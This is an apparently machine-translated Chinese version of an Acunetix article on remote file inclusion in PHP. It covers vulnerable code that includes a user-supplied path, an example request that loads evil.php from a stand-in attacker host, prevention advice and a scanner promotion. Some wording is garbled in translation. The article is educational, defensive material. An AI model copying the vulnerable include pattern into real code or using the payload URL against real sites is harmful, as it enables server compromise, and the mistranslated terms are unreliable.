使用远程文件包含(RFI),攻击者可能导致Web应用程序包含远程文件。这种Web应用程序可以动态地包含外部文件或脚本。敏感信息披露的成功RFI攻击范围的潜在网络安全后果 跨站点脚本(XSS) to 远程代码执行 并且,作为最终结果,完全系统妥协。

当应用程序接收到文件的路径作为网页的输入时,通常会发生远程文件包含攻击,并且不正确地消除它。这允许提供给包含功能的外部URL。

以下是具有远程文件包含漏洞的PHP代码的示例。可以包括具有源代码的文件,从而导致任意代码执行。

/**
* Get the filename from a GET input
* Example - http://example.com/?file=index.php
*/
$file = $_GET['file'];

/**
* Unsafely include the file
* Example - index.php
*/
include($file);

使用上述PHP脚本,攻击者可以使以下HTTP请求欺骗应用程序,以执行执行服务器端恶意代码,例如,后门或a 网斯卡.

http://example.com/?file=http://attacker.example.com/evil.php

在此示例中,包含恶意文件并使用运行Web应用程序的服务器用户的执行权限运行。这允许攻击者在Web服务器上运行他们想要的任何代码。它们甚至可以在Web服务器上获得持久存在。

寻找和预防RFI漏洞

幸运的是,如果您的网站或Web应用程序容易受到RFI和其他漏洞,则易于测试,例如 SQL注入目录遍历等等,通过使用Acunetix运行自动Web扫描 漏洞扫描仪拿一个演示 并了解有关运行扫描的更多信息,以防止您的网站或Web应用程序来维护网络ecurity。

如果您发现RFI漏洞,消除它们的最佳方法是从不包括基于用户输入的文件。如果不可能,则应用程序应维护可以包含的文件的白名单。在这种情况下,输入验证是一种更少的有效方法,因为攻击者可以使用聪明的技巧来解决它。

此外,在PHP应用程序的情况下,大多数当前安装配置在PHP.ini中设置为OFF and_url_include。这使得恶意用户无法包含远程文件。然而, 本地文件包含(LFI) 在这种情况下仍然可以。

资源://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/